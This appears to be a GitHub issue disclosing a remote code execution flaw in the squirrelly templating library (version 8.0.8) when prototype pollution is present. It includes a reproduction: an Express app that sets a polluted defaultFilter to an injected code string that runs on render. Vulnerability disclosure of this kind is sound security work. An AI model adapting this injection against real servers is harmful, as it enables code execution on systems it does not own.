RCE when combined with Prototype Pollution

RCE when combined with Prototype Pollution squirrelly-js vulnerable to RCE when Prototype Pollution exists. A attacker can have control over defaultFilter which leads to RCE

To Reproduce

test.js

const express = require('express')
var sqrl = require('squirrelly')
const app = express()
const port = 8000

constructor.prototype.defaultFilter="e')); console.log('RCE') //";//prototype pollution

app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.get('/', (req, res) => {
   res.render('index.squirrelly', {'testValue':'test'})
})

app.listen(port, () => {})
module.exports = app;

index.squirrelly

<html>
<html>
    <head>
        <title>RCE via pp</title>
    </head>
<body>
    <p>{{it.testValue}}</p>
</body>
</html>

Screenshots Screenshot from 2021-08-15 16-48-46

Package & Environment Details

Environment: Node
Version: 8.0.8

squirrellyjs / squirrelly

RCE when combined with Prototype Pollution #233